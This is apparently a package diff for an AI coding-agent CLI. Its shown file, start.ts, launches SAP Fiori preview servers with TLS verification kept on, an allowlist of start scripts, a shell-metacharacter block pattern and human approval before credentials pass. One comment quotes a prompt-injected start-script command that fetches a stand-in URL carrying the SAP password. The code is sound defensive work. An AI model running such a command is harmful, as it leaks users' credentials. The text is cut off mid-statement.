@cspeach/cli 1.1.18 → 1.1.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -4
- package/dist/agent/anthropic-provider.js +30 -10
- package/dist/agent/cache-keepalive.js +162 -0
- package/dist/agent/cold-prune.js +116 -0
- package/dist/agent/loop.js +804 -159
- package/dist/agent/provider-shape.js +263 -0
- package/dist/agent/providers/ai-hub-provider.js +17 -2
- package/dist/agent/providers/byok-provider.js +33 -3
- package/dist/agent/providers/local-provider.js +12 -2
- package/dist/agent/repair-partial.js +125 -7
- package/dist/agent/summarise-via-provider.js +6 -1
- package/dist/agent/system-prompt.js +38 -0
- package/dist/agent/tool-dispatch.js +66 -21
- package/dist/agent/tool-loading-pin.js +100 -0
- package/dist/agent/turn-error-ux.js +77 -26
- package/dist/agent/turn-stream.js +25 -3
- package/dist/approvals/adt-type.js +27 -0
- package/dist/approvals/advisory-prompt.js +48 -0
- package/dist/approvals/advisory-render.js +25 -11
- package/dist/approvals/approval-prompt.js +74 -24
- package/dist/approvals/jwt.js +2 -1
- package/dist/approvals/render.js +64 -36
- package/dist/approvals/risk-floor.js +53 -2
- package/dist/auth/api-key.js +30 -16
- package/dist/auth/keychain.js +0 -0
- package/dist/auth/me.js +25 -7
- package/dist/cli.js +36 -6
- package/dist/commands/auto-compact.js +33 -16
- package/dist/commands/compact.js +49 -11
- package/dist/commands/config-set.js +16 -3
- package/dist/commands/config-show.js +18 -5
- package/dist/commands/cost.js +54 -35
- package/dist/commands/help.js +88 -50
- package/dist/commands/login.js +28 -19
- package/dist/commands/logout.js +7 -3
- package/dist/commands/plan-audit.js +1 -0
- package/dist/commands/plan-chain.js +71 -77
- package/dist/commands/plan-continue.js +1 -0
- package/dist/commands/plan-resume.js +20 -12
- package/dist/commands/whoami.js +23 -9
- package/dist/config/loader.js +70 -5
- package/dist/cost/cost-log.js +62 -2
- package/dist/cost/pricing.js +11 -6
- package/dist/doctor/checks/forge-rules.js +13 -3
- package/dist/doctor/checks/keychain.js +6 -4
- package/dist/doctor/run.js +101 -20
- package/dist/index.js +5 -2
- package/dist/lib/graceful-exit.js +56 -0
- package/dist/lib/piped-prompt.js +65 -0
- package/dist/lib/spill-labels.js +13 -0
- package/dist/lock-contention.js +2 -2
- package/dist/models/resolve.js +93 -2
- package/dist/models/server-config.js +158 -3
- package/dist/one-shot.js +150 -45
- package/dist/projects/answer-blockers.js +6 -1
- package/dist/projects/handover-md.js +15 -14
- package/dist/projects/image-attachments.js +15 -2
- package/dist/projects/plan-run.js +97 -54
- package/dist/projects/promote-command.js +11 -2
- package/dist/projects/save-command.js +3 -2
- package/dist/projects/status.js +2 -1
- package/dist/projects/yes-no.js +12 -0
- package/dist/renderer/abap-inline.js +18 -14
- package/dist/renderer/answer-trim.js +69 -0
- package/dist/renderer/banners.js +8 -8
- package/dist/renderer/brand-settled.js +19 -0
- package/dist/renderer/change-card.js +156 -0
- package/dist/renderer/checklist-format.js +130 -0
- package/dist/renderer/color-mode.js +45 -0
- package/dist/renderer/error-detail.js +104 -0
- package/dist/renderer/fence-state.js +46 -0
- package/dist/renderer/footer-line.js +100 -0
- package/dist/renderer/glyphs.js +25 -0
- package/dist/renderer/goodbye.js +38 -0
- package/dist/renderer/legacy-palette.js +41 -0
- package/dist/renderer/look.js +30 -0
- package/dist/renderer/markdown.js +299 -92
- package/dist/renderer/notice-log.js +72 -0
- package/dist/renderer/notice-shape.js +48 -0
- package/dist/renderer/notices.js +40 -8
- package/dist/renderer/panel-rows.js +16 -0
- package/dist/renderer/pipeline.js +66 -0
- package/dist/renderer/progress-chatter.js +23 -17
- package/dist/renderer/rendering-mode.js +34 -0
- package/dist/renderer/routing-line.js +14 -0
- package/dist/renderer/sanitize.js +12 -0
- package/dist/renderer/severity.js +2 -7
- package/dist/renderer/startup-lines.js +154 -0
- package/dist/renderer/status-footer.js +52 -34
- package/dist/renderer/steering-echo.js +41 -0
- package/dist/renderer/syntax.js +31 -12
- package/dist/renderer/tables.js +5 -1
- package/dist/renderer/theme.js +44 -0
- package/dist/renderer/thinking-heartbeat.js +33 -2
- package/dist/renderer/todo-block.js +10 -49
- package/dist/renderer/tool-labels.js +269 -0
- package/dist/renderer/tool-widget.js +245 -51
- package/dist/renderer/trace.js +42 -0
- package/dist/renderer/transcript-flow.js +132 -0
- package/dist/renderer/tty.js +34 -1
- package/dist/renderer/ui-width.js +55 -0
- package/dist/renderer/verify-chain.js +4 -2
- package/dist/renderer/widget-fallback.js +58 -65
- package/dist/repl/bracketed-paste.js +7 -1
- package/dist/repl/builtin-commands.js +19 -8
- package/dist/repl/credential-handover-gate.js +28 -0
- package/dist/repl/current-transport.js +13 -0
- package/dist/repl/early-line-buffer.js +5 -2
- package/dist/repl/file-picker.js +54 -12
- package/dist/repl/ink-stdin-guard.js +66 -0
- package/dist/repl/inquirer-guard.js +59 -16
- package/dist/repl/inquirer-theme.js +27 -33
- package/dist/repl/paste-marker.js +19 -0
- package/dist/repl/plan-turn-end.js +20 -0
- package/dist/repl/post-turn-status.js +43 -11
- package/dist/repl/reroute-turn.js +21 -0
- package/dist/repl/reset-tty-stdin.js +44 -0
- package/dist/repl/restore-guard.js +22 -0
- package/dist/repl/resume-standalone.js +63 -0
- package/dist/repl/rule8-detector.js +11 -3
- package/dist/repl/safety-confirm.js +161 -93
- package/dist/repl/session-spend-line.js +8 -4
- package/dist/repl/themed-prompts.js +19 -0
- package/dist/repl/ui-look-command.js +75 -0
- package/dist/repl/update-method-preview-hook.js +48 -5
- package/dist/repl.js +863 -339
- package/dist/rewind/cli.js +3 -2
- package/dist/rewind/format.js +14 -9
- package/dist/rewind/restore.js +11 -0
- package/dist/router/classifier.js +47 -4
- package/dist/router/intent-extractor.js +24 -8
- package/dist/router/piped-routing.js +23 -0
- package/dist/router/resume-routing.js +16 -0
- package/dist/router/routing-failure.js +57 -0
- package/dist/sap/first-run-choice.js +1 -1
- package/dist/sap/onboarding.js +3 -2
- package/dist/sap/standalone-onboarding.js +1 -1
- package/dist/sap/system-info.js +4 -2
- package/dist/sap/unreachable.js +28 -0
- package/dist/sap-errors/clean-error-text.js +182 -0
- package/dist/session/interrupt-reason.js +39 -0
- package/dist/session/recap.js +36 -24
- package/dist/session/repin-model.js +18 -0
- package/dist/session/resume.js +104 -36
- package/dist/session/store.js +84 -28
- package/dist/session/user-prompt.js +21 -0
- package/dist/skill-catalog.js +7 -0
- package/dist/skills/bundled-skills.js +76 -69
- package/dist/skills/preamble.js +75 -0
- package/dist/skills/source-manifest.js +11 -1
- package/dist/standards/standards-init.js +1 -1
- package/dist/test-helpers/answer-any.js +46 -0
- package/dist/tools/approval.js +27 -11
- package/dist/tools/ask-question.js +47 -5
- package/dist/tools/filesystem/file-read.js +11 -1
- package/dist/tools/filesystem/file-write.js +19 -2
- package/dist/tools/fiori/fe-extend.js +16 -1
- package/dist/tools/fiori/fe-scaffold.js +105 -3
- package/dist/tools/fiori/html-escapes.js +28 -0
- package/dist/tools/fiori/metadata/audit.js +605 -0
- package/dist/tools/fiori/metadata/references.js +104 -0
- package/dist/tools/fiori/metadata/types.js +8 -0
- package/dist/tools/fiori/preview/app-guard.js +215 -0
- package/dist/tools/fiori/preview/env.js +193 -0
- package/dist/tools/fiori/preview/readiness.js +127 -0
- package/dist/tools/fiori/preview/registry.js +412 -0
- package/dist/tools/fiori/preview/start.js +469 -0
- package/dist/tools/fiori/samples/loader.js +20 -5
- package/dist/tools/fiori/scaffold.js +18 -6
- package/dist/tools/fiori/smoke/app-driver-page.js +372 -0
- package/dist/tools/fiori/smoke/app-driver.js +100 -0
- package/dist/tools/fiori/smoke/assertions.js +161 -24
- package/dist/tools/fiori/smoke/audit-columns.js +21 -0
- package/dist/tools/fiori/smoke/batch.js +273 -0
- package/dist/tools/fiori/smoke/draft-safety.js +241 -0
- package/dist/tools/fiori/smoke/draft-smoke.js +473 -0
- package/dist/tools/fiori/smoke/driver.js +171 -4
- package/dist/tools/fiori/smoke/evidence.js +35 -0
- package/dist/tools/fiori/smoke/labels-codes.js +207 -0
- package/dist/tools/fiori/smoke/nav-error.js +26 -0
- package/dist/tools/fiori/smoke/run-smoke.js +155 -12
- package/dist/tools/fiori/tools.js +651 -7
- package/dist/tools/fiori/ui5-version.js +16 -0
- package/dist/tools/index.js +8 -0
- package/dist/tools/local-build.js +6 -0
- package/dist/tools/result-spill.js +238 -0
- package/dist/tools/sap-read.js +74 -15
- package/dist/tools/sap-write.js +122 -10
- package/dist/tools/shell/shell_exec.js +39 -12
- package/dist/tools/subagent/adt-serial.js +33 -0
- package/dist/tools/subagent/agent_run.js +2 -0
- package/dist/tools/subagent/read_agent.js +178 -0
- package/dist/tools/subagent/reader-prompt.js +48 -0
- package/dist/tools/syntax-state.js +67 -0
- package/dist/tools/todo.js +26 -19
- package/dist/tools/tool-loading.js +255 -0
- package/dist/tools/tool-output-read.js +117 -0
- package/dist/tools/transport-fit.js +462 -0
- package/dist/tools/transport-resolution.js +3 -1
- package/dist/tools/transport.js +39 -8
- package/dist/tools/verify.js +184 -8
- package/dist/ui/app.js +284 -146
- package/dist/ui/approval-modal.js +41 -15
- package/dist/ui/ask-answer-text.js +17 -0
- package/dist/ui/body.js +25 -6
- package/dist/ui/card-slot.js +98 -0
- package/dist/ui/checklist.js +9 -0
- package/dist/ui/coaching-picker-classic.js +8 -5
- package/dist/ui/command-palette.js +6 -4
- package/dist/ui/confirm-request.js +18 -0
- package/dist/ui/context-grid.js +2 -1
- package/dist/ui/file-palette.js +6 -4
- package/dist/ui/files-card-emitter.js +19 -0
- package/dist/ui/footer-line.js +16 -0
- package/dist/ui/footer.js +105 -104
- package/dist/ui/input-wrap.js +122 -0
- package/dist/ui/interrupt.js +103 -0
- package/dist/ui/key-burst.js +117 -0
- package/dist/ui/line-resolution.js +4 -3
- package/dist/ui/live-area.js +71 -0
- package/dist/ui/login-banner.js +54 -43
- package/dist/ui/rewind-panel.js +76 -24
- package/dist/ui/role-props.js +47 -0
- package/dist/ui/sap-state-store.js +2 -1
- package/dist/ui/session-timeline.js +49 -3
- package/dist/ui/skill-picker.js +5 -47
- package/dist/ui/text-input.js +128 -24
- package/dist/ui/todo-emitter.js +19 -0
- package/dist/ui/turn-status-emitter.js +65 -2
- package/dist/ui/turn-status.js +16 -19
- package/dist/ui/use-card-request.js +44 -0
- package/dist/ui/widgets/ask-card.js +521 -0
- package/dist/ui/widgets/bar-chart.js +11 -5
- package/dist/ui/widgets/coaching-picker.js +50 -55
- package/dist/ui/widgets/confirm-card.js +193 -0
- package/dist/ui/widgets/dep-graph.js +3 -2
- package/dist/ui/widgets/diff-viewer.js +6 -5
- package/dist/ui/widgets/files-card.js +97 -0
- package/dist/ui/widgets/question-card.js +2 -1
- package/dist/ui/widgets/reclaim-raw-stdin.js +24 -0
- package/dist/ui/widgets/shortcuts-sheet.js +25 -0
- package/dist/ui/widgets/stack-frames.js +2 -1
- package/dist/upgrade-check.js +39 -8
- package/package.json +12 -2
- package/test-harness/fe-draft/app.ts +188 -0
- package/test-harness/fe-draft/fe-draft.e2e.test.ts +461 -0
- package/test-harness/fe-draft/manifest-enhancer.unit.test.ts +51 -0
- package/test-harness/fe-draft/routes.ts +224 -0
- package/test-harness/fe-draft/routes.unit.test.ts +45 -0
- package/test-harness/fe-draft/server.ts +225 -0
- package/test-harness/fe-draft/variants.ts +196 -0
- package/vitest.smoke-e2e.config.ts +20 -0
|
@@ -0,0 +1,469 @@
|
|
|
1
|
+
// cspeach-cli/src/tools/fiori/preview/start.ts
|
|
2
|
+
/**
|
|
3
|
+
* L1-6 — bring a Fiori preview up, reliably, with TLS verification ON and the
|
|
4
|
+
* SAP login supplied without ever touching a file.
|
|
5
|
+
*
|
|
6
|
+
* WHAT JULY TAUGHT US (and what each step here is for)
|
|
7
|
+
* ----------------------------------------------------
|
|
8
|
+
* - The first boot died on the certificate and nobody could see why, because
|
|
9
|
+
* the child's stderr was never captured. → every failure here carries the
|
|
10
|
+
* child's stderr TAIL (scrubbed).
|
|
11
|
+
* - A second start left servers on :8080 AND :8081 with nobody able to say
|
|
12
|
+
* which one the browser was looking at. → one entry per app dir, reuse when
|
|
13
|
+
* it is alive, and a tree kill when it is not.
|
|
14
|
+
* - "the port answered" was treated as "the preview works". → readiness needs
|
|
15
|
+
* BOTH the app and the backend leg ($metadata through the proxy).
|
|
16
|
+
*
|
|
17
|
+
* WHAT NEVER HAPPENS
|
|
18
|
+
* ------------------
|
|
19
|
+
* - No prompt. A headless run must never hang waiting for a password
|
|
20
|
+
* (connection-manager.ts's B5 guard is the precedent) — a missing keychain
|
|
21
|
+
* entry is a fast, actionable error.
|
|
22
|
+
* - No file. The password and the CA path reach the child only through its
|
|
23
|
+
* process environment; nothing is written to `.env`, `ui5.yaml` or a temp
|
|
24
|
+
* file.
|
|
25
|
+
* - No certificate check is disabled, ever. There is no `ignoreCertErrors`
|
|
26
|
+
* path here, no `NODE_TLS_REJECT_UNAUTHORIZED`, no
|
|
27
|
+
* `--ignore-certificate-errors`. An alias configured `insecure` still gets
|
|
28
|
+
* its preview — this task changes nobody's existing posture — but the result
|
|
29
|
+
* says so out loud and points at `sap.<alias>.ca_cert_path`.
|
|
30
|
+
*/
|
|
31
|
+
import crossSpawn from 'cross-spawn';
|
|
32
|
+
import { promises as fs } from 'node:fs';
|
|
33
|
+
import * as http from 'node:http';
|
|
34
|
+
import * as net from 'node:net';
|
|
35
|
+
import * as path from 'node:path';
|
|
36
|
+
import { randomUUID } from 'node:crypto';
|
|
37
|
+
import { loadConfig as realLoadConfig, resolveSapTls } from '../../../config/loader.js';
|
|
38
|
+
import keychain from '../../../auth/keychain.js';
|
|
39
|
+
import { resolveExecutable } from '../../_command-shared.js';
|
|
40
|
+
import { buildPreviewEnv, scrubSecrets, tlsNoteFor } from './env.js';
|
|
41
|
+
import { waitForPreview } from './readiness.js';
|
|
42
|
+
import { lifecycleProblem, loginNeed, readStartScript } from './app-guard.js';
|
|
43
|
+
import { registerPreview, findPreviewByAppDir, findChildById, forgetPreview, childIsLive, stopPreview, killProcessTree, installPreviewExitHandler, markPendingChild, unmarkPendingChild, previewKeyFor, } from './registry.js';
|
|
44
|
+
/** Same keychain service the connection manager reads (connection-manager.ts:7). */
|
|
45
|
+
export const PREVIEW_KEYCHAIN_SERVICE = 'cspeach-sap';
|
|
46
|
+
/** A cold UI5 CDN load plus the first backend round-trip is genuinely slow. */
|
|
47
|
+
export const DEFAULT_BUDGET_MS = 120_000;
|
|
48
|
+
/** How many lines of the child's stdout/stderr we keep for the failure tail. */
|
|
49
|
+
export const TAIL_LINES = 20;
|
|
50
|
+
/** Ask the OS for a free port, then release it. */
|
|
51
|
+
export function pickFreePort() {
|
|
52
|
+
return new Promise((resolve, reject) => {
|
|
53
|
+
const srv = net.createServer();
|
|
54
|
+
srv.once('error', reject);
|
|
55
|
+
srv.listen(0, '127.0.0.1', () => {
|
|
56
|
+
const addr = srv.address();
|
|
57
|
+
const port = addr.port;
|
|
58
|
+
srv.close((err) => (err ? reject(err) : resolve(port)));
|
|
59
|
+
});
|
|
60
|
+
});
|
|
61
|
+
}
|
|
62
|
+
/**
|
|
63
|
+
* The default readiness probe: a plain loopback HTTP GET. The preview itself is
|
|
64
|
+
* http on 127.0.0.1, so there is no TLS here — the TLS that matters is the one
|
|
65
|
+
* BETWEEN the preview proxy and SAP, and that is the child's
|
|
66
|
+
* NODE_EXTRA_CA_CERTS' business.
|
|
67
|
+
*/
|
|
68
|
+
export function httpProbe(url, timeoutMs = 5_000) {
|
|
69
|
+
return new Promise((resolve, reject) => {
|
|
70
|
+
const req = http.get(url, { headers: { accept: '*/*' } }, (res) => {
|
|
71
|
+
res.resume(); // drain, we only need the status
|
|
72
|
+
resolve({ status: res.statusCode ?? 0 });
|
|
73
|
+
});
|
|
74
|
+
req.setTimeout(timeoutMs, () => {
|
|
75
|
+
req.destroy(Object.assign(new Error(`timed out after ${timeoutMs}ms`), { code: 'ETIMEDOUT' }));
|
|
76
|
+
});
|
|
77
|
+
req.on('error', reject);
|
|
78
|
+
});
|
|
79
|
+
}
|
|
80
|
+
/** Bounded tail of a child stream — the last TAIL_LINES lines, nothing more. */
|
|
81
|
+
class Tail {
|
|
82
|
+
lines = [];
|
|
83
|
+
partial = '';
|
|
84
|
+
push(chunk) {
|
|
85
|
+
this.partial += chunk;
|
|
86
|
+
const parts = this.partial.split(/\r?\n/);
|
|
87
|
+
this.partial = parts.pop() ?? '';
|
|
88
|
+
for (const l of parts) {
|
|
89
|
+
this.lines.push(l);
|
|
90
|
+
if (this.lines.length > TAIL_LINES)
|
|
91
|
+
this.lines.shift();
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
text() {
|
|
95
|
+
const all = this.partial.length > 0 ? [...this.lines, this.partial] : this.lines;
|
|
96
|
+
return all.slice(-TAIL_LINES).join('\n');
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
function describeOutcome(o) {
|
|
100
|
+
return `${o.reason}: ${o.detail}`;
|
|
101
|
+
}
|
|
102
|
+
/**
|
|
103
|
+
* Starts in flight, keyed by the normalised app dir (F-5). Two concurrent
|
|
104
|
+
* `start` calls for one directory used to spawn two servers, the second
|
|
105
|
+
* silently replacing the first in the registry and leaving its tree
|
|
106
|
+
* unreachable by `stop`, `list` and the exit path — ':8080 beside :8081'
|
|
107
|
+
* again. Now the second call awaits the first and reports `reused`.
|
|
108
|
+
*/
|
|
109
|
+
const inFlight = new Map();
|
|
110
|
+
export async function startPreview(args, deps = {}) {
|
|
111
|
+
const key = previewKeyFor(args.appDir);
|
|
112
|
+
// F-7: with no explicit entry, preview the page the app's own `npm start` opens.
|
|
113
|
+
const entryFile = args.entryFile ?? defaultEntryFile(await readStartScript(path.resolve(args.appDir)));
|
|
114
|
+
args = { ...args, entryFile };
|
|
115
|
+
// Loop: several callers may be queued behind one start; each re-checks the door.
|
|
116
|
+
for (let running = inFlight.get(key); running; running = inFlight.get(key)) {
|
|
117
|
+
const first = await running.promise;
|
|
118
|
+
// R1-8: only the SAME target is a reuse (F-9). Another alias or entry page
|
|
119
|
+
// waits for the first start, then goes through the normal path, which
|
|
120
|
+
// stops that preview and starts its own.
|
|
121
|
+
if (running.alias === args.alias && running.entryFile.replace(/^\/+/, '') === entryFile.replace(/^\/+/, '')) {
|
|
122
|
+
return first.ok ? { ...first, reused: true } : first;
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
const promise = startPreviewInner(args, deps).finally(() => { inFlight.delete(key); });
|
|
126
|
+
inFlight.set(key, { alias: args.alias, entryFile, promise });
|
|
127
|
+
return promise;
|
|
128
|
+
}
|
|
129
|
+
/** Bounds for the model-supplied readiness budget (F-11). */
|
|
130
|
+
export const MIN_BUDGET_MS = 5_000;
|
|
131
|
+
export const MAX_BUDGET_MS = 300_000;
|
|
132
|
+
/** A preview entry page: a relative path, optionally with a query/hash. */
|
|
133
|
+
const ENTRY_FILE_RE = /^[A-Za-z0-9._\-/]+(\?[A-Za-z0-9._\-=&%]*)?(#[A-Za-z0-9._\-]*)?$/;
|
|
134
|
+
/**
|
|
135
|
+
* The ONLY start scripts we will hand the SAP password to (F-10).
|
|
136
|
+
*
|
|
137
|
+
* Before this tool, no CSPeach tool gave project code the SAP password —
|
|
138
|
+
* `shell_exec`'s environment is stripped precisely for that. `npm run start`
|
|
139
|
+
* runs whatever `scripts.start` says, in a directory the model can write, so a
|
|
140
|
+
* planted or prompt-injected `"start": "node -e \"fetch('https://x/'+process.env.FIORI_TOOLS_PASSWORD)\""`
|
|
141
|
+
* would exfiltrate it. The script must therefore be a known preview server and
|
|
142
|
+
* carry no shell plumbing.
|
|
143
|
+
*/
|
|
144
|
+
const ALLOWED_START_SCRIPT_RE = /^\s*(fiori run|ui5 serve)(\s|$)/;
|
|
145
|
+
// R1-3: `%` and `!` too — cmd.exe expands %VAR% (and !VAR! under delayed
|
|
146
|
+
// expansion) when npm runs the script, which would put the login on the
|
|
147
|
+
// preview's command line and in the browser URL.
|
|
148
|
+
const SHELL_METACHARS = /[&|;<>^`$(){}%!\r\n]/;
|
|
149
|
+
/**
|
|
150
|
+
* L1-2b F-7: the default preview entry is the page the app's own `npm start`
|
|
151
|
+
* opens (`fiori run --open "<page>"`), else index.html.
|
|
152
|
+
*
|
|
153
|
+
* Why not always index.html: a Fiori Elements V4 app opened standalone has no
|
|
154
|
+
* sap.ushell.Container, so sap.fe.core falls back to its NavigationServicesMock
|
|
155
|
+
* — which in UI5 1.120.x (still in 1.136; fixed by 1.152) lacks
|
|
156
|
+
* storeInnerAppStateAsync, while sap.fe.core's AppStateHandler calls it when it
|
|
157
|
+
* stores app state (pressing Go): "TypeError: …storeInnerAppStateAsync is not a
|
|
158
|
+
* function". That is SAP's code, not ours; the scaffold's start script opens the
|
|
159
|
+
* FLP sandbox (test/flpSandbox.html#<intent>), where the real service exists.
|
|
160
|
+
* A value that is not a plain relative page path is ignored, never followed.
|
|
161
|
+
*/
|
|
162
|
+
export function defaultEntryFile(startScript) {
|
|
163
|
+
const m = startScript ? /--open\s+(?:"([^"]+)"|'([^']+)'|(\S+))/.exec(startScript) : null;
|
|
164
|
+
const opened = m ? (m[1] ?? m[2] ?? m[3] ?? '') : '';
|
|
165
|
+
if (opened) {
|
|
166
|
+
const checked = validateEntryFile(opened);
|
|
167
|
+
if ('entryFile' in checked)
|
|
168
|
+
return checked.entryFile;
|
|
169
|
+
}
|
|
170
|
+
return 'index.html';
|
|
171
|
+
}
|
|
172
|
+
function validateEntryFile(raw) {
|
|
173
|
+
const stripped = raw.replace(/^\/+/, '');
|
|
174
|
+
if (stripped.length === 0)
|
|
175
|
+
return { error: 'entryFile must not be empty' };
|
|
176
|
+
if (!ENTRY_FILE_RE.test(stripped) || stripped.split('/').includes('..')) {
|
|
177
|
+
return {
|
|
178
|
+
error: `entryFile "${raw}" is not a plain relative page path — expected something like ` +
|
|
179
|
+
'"index.html" or "test/flpSandbox.html" (no "..", no backslash, no control characters)',
|
|
180
|
+
};
|
|
181
|
+
}
|
|
182
|
+
return { entryFile: stripped };
|
|
183
|
+
}
|
|
184
|
+
function clampBudget(raw) {
|
|
185
|
+
if (raw === undefined || !Number.isFinite(raw))
|
|
186
|
+
return DEFAULT_BUDGET_MS;
|
|
187
|
+
return Math.min(MAX_BUDGET_MS, Math.max(MIN_BUDGET_MS, Math.floor(raw)));
|
|
188
|
+
}
|
|
189
|
+
async function startPreviewInner(args, deps = {}) {
|
|
190
|
+
// Whatever happens next, a preview must not outlive this CLI process.
|
|
191
|
+
installPreviewExitHandler();
|
|
192
|
+
const appDir = path.resolve(args.appDir);
|
|
193
|
+
const checkedEntry = validateEntryFile(args.entryFile ?? 'index.html');
|
|
194
|
+
if ('error' in checkedEntry)
|
|
195
|
+
return { ok: false, error: checkedEntry.error };
|
|
196
|
+
const entryFile = checkedEntry.entryFile;
|
|
197
|
+
const budgetMs = clampBudget(args.budgetMs);
|
|
198
|
+
const kill = deps.kill ?? killProcessTree;
|
|
199
|
+
const probe = deps.readiness?.probe ?? ((url) => httpProbe(url));
|
|
200
|
+
// A REAL timer (not an instantly-resolved promise): the poll loop has to
|
|
201
|
+
// yield to the macrotask queue, or the child's own 'exit'/'data' events can
|
|
202
|
+
// never be delivered while we wait. Deliberately NOT unref'd — the wait is
|
|
203
|
+
// bounded by the budget and must keep the process alive until it resolves.
|
|
204
|
+
const sleep = deps.readiness?.sleep ?? ((ms) => new Promise((r) => { setTimeout(r, ms); }));
|
|
205
|
+
// ── 1. The alias, and its TLS posture ────────────────────────────────────
|
|
206
|
+
const loadCfg = deps.loadConfig ?? realLoadConfig;
|
|
207
|
+
let system;
|
|
208
|
+
try {
|
|
209
|
+
const cfg = await loadCfg();
|
|
210
|
+
system = cfg.sap?.[args.alias];
|
|
211
|
+
}
|
|
212
|
+
catch (err) {
|
|
213
|
+
return { ok: false, error: `could not read the CSPeach config — ${err instanceof Error ? err.message : String(err)}` };
|
|
214
|
+
}
|
|
215
|
+
if (!system) {
|
|
216
|
+
return {
|
|
217
|
+
ok: false,
|
|
218
|
+
error: `unknown SAP alias "${args.alias}" — configure it first (cspeach config set sap.${args.alias}.host …)`,
|
|
219
|
+
};
|
|
220
|
+
}
|
|
221
|
+
const tls = resolveSapTls(system);
|
|
222
|
+
// ── 2. Reuse an existing, LIVE preview for this app dir ──────────────────
|
|
223
|
+
// One entry per directory is the whole point: without it a second start
|
|
224
|
+
// leaves :8080 beside :8081 and nobody can say which one is being checked.
|
|
225
|
+
// Note this runs BEFORE the keychain read — reusing must not need a secret.
|
|
226
|
+
const replacedWarnings = [];
|
|
227
|
+
const existing = findPreviewByAppDir(appDir);
|
|
228
|
+
if (existing) {
|
|
229
|
+
// F-9: a preview for a DIFFERENT alias or a different entry page is not a
|
|
230
|
+
// reuse candidate — returning it would smoke the wrong backend with the
|
|
231
|
+
// wrong login while the result's TLS line describes the alias asked for.
|
|
232
|
+
const sameTarget = existing.alias === args.alias && existing.entry === entryFile;
|
|
233
|
+
let alive = false;
|
|
234
|
+
try {
|
|
235
|
+
const res = await probe(existing.url);
|
|
236
|
+
alive = res.status >= 200 && res.status < 300;
|
|
237
|
+
}
|
|
238
|
+
catch {
|
|
239
|
+
alive = false;
|
|
240
|
+
}
|
|
241
|
+
if (alive && sameTarget) {
|
|
242
|
+
return {
|
|
243
|
+
ok: true,
|
|
244
|
+
entry: existing,
|
|
245
|
+
tlsNote: tlsNoteFor(tls),
|
|
246
|
+
insecureFallback: tls.mode === 'insecure',
|
|
247
|
+
reused: true,
|
|
248
|
+
// A reused preview keeps the environment it was started with.
|
|
249
|
+
loginPassed: existing.loginPassed ?? true,
|
|
250
|
+
warnings: insecureWarnings(tls.mode, args.alias),
|
|
251
|
+
};
|
|
252
|
+
}
|
|
253
|
+
if (alive) {
|
|
254
|
+
// Live, but for another alias/entry. Stop OUR child (a tree kill that
|
|
255
|
+
// only touches a process this session still holds), then start fresh.
|
|
256
|
+
const stopped = await stopPreview(existing.previewId);
|
|
257
|
+
replacedWarnings.push(`a preview for this app was already running against alias ${existing.alias} (${existing.entry}); ` +
|
|
258
|
+
`it was stopped and a new one started for ${args.alias} (${entryFile})` +
|
|
259
|
+
(stopped.portClosed ? '' : ` — warning: port ${existing.port} still answers`));
|
|
260
|
+
}
|
|
261
|
+
else {
|
|
262
|
+
// F-3.4: ONE failed probe is not proof of death (a 5s timeout under load,
|
|
263
|
+
// a 404 on the entry page). Never kill by remembered pid. If this session
|
|
264
|
+
// still holds a LIVE handle, stop that child properly; otherwise just
|
|
265
|
+
// forget the entry — its pid may since have been recycled by the OS.
|
|
266
|
+
const child = findChildById(existing.previewId);
|
|
267
|
+
if (childIsLive(child)) {
|
|
268
|
+
await stopPreview(existing.previewId);
|
|
269
|
+
}
|
|
270
|
+
else {
|
|
271
|
+
forgetPreview(existing.previewId);
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
// ── 3. The app directory must be an npm project we may hand a password ───
|
|
276
|
+
let startScript;
|
|
277
|
+
let scripts;
|
|
278
|
+
try {
|
|
279
|
+
const raw = await fs.readFile(path.join(appDir, 'package.json'), 'utf8');
|
|
280
|
+
const pkg = JSON.parse(raw);
|
|
281
|
+
scripts = pkg.scripts;
|
|
282
|
+
const value = pkg.scripts?.start;
|
|
283
|
+
startScript = typeof value === 'string' ? value : undefined;
|
|
284
|
+
}
|
|
285
|
+
catch (err) {
|
|
286
|
+
return {
|
|
287
|
+
ok: false,
|
|
288
|
+
error: `could not read ${path.join(appDir, 'package.json')} — the preview runs "npm run start" there, ` +
|
|
289
|
+
`so scaffold the app first (${err instanceof Error ? err.message : String(err)})`,
|
|
290
|
+
};
|
|
291
|
+
}
|
|
292
|
+
if (startScript === undefined) {
|
|
293
|
+
return { ok: false, error: `package.json in ${appDir} has no "start" script — the preview has nothing to run` };
|
|
294
|
+
}
|
|
295
|
+
if (!ALLOWED_START_SCRIPT_RE.test(startScript) || SHELL_METACHARS.test(startScript)) {
|
|
296
|
+
return {
|
|
297
|
+
ok: false,
|
|
298
|
+
error: `refusing to start: the SAP login for alias '${args.alias}' would be handed to this command, and it ` +
|
|
299
|
+
`is not a recognised preview server.\n"start": ${JSON.stringify(startScript)}\n` +
|
|
300
|
+
'Expected a plain "fiori run …" or "ui5 serve …" with no shell plumbing (no & | ; < > ^ ` $ ( ) { } % !).',
|
|
301
|
+
};
|
|
302
|
+
}
|
|
303
|
+
// R1-2: npm's pre/post hooks and a project .npmrc run code around "start".
|
|
304
|
+
const lifecycle = await lifecycleProblem(appDir, scripts);
|
|
305
|
+
if (lifecycle !== null)
|
|
306
|
+
return { ok: false, error: lifecycle };
|
|
307
|
+
// R1-4 + round 2b: ONE decision (app-guard.ts loginNeed) — the proxy sends
|
|
308
|
+
// the login to ui5.yaml's backend, which must be this alias's host; no
|
|
309
|
+
// backend url at all means the preview starts WITHOUT the login.
|
|
310
|
+
const need = await loginNeed(appDir, startScript, args.alias, system);
|
|
311
|
+
if ('refuse' in need)
|
|
312
|
+
return { ok: false, error: need.refuse };
|
|
313
|
+
const loginPassed = need.need === 'login';
|
|
314
|
+
// TOCTOU: the approval hook ran its own copy of the decision before this
|
|
315
|
+
// handler. If the app gained a backend since (or this path was reached
|
|
316
|
+
// without the gate), no human approved this handover — refuse.
|
|
317
|
+
if (loginPassed && !(deps.isLoginApproved ?? (() => false))(args.alias)) {
|
|
318
|
+
return {
|
|
319
|
+
ok: false,
|
|
320
|
+
error: `refusing to start: this app now needs the SAP login for alias ${args.alias}, but handing it over was ` +
|
|
321
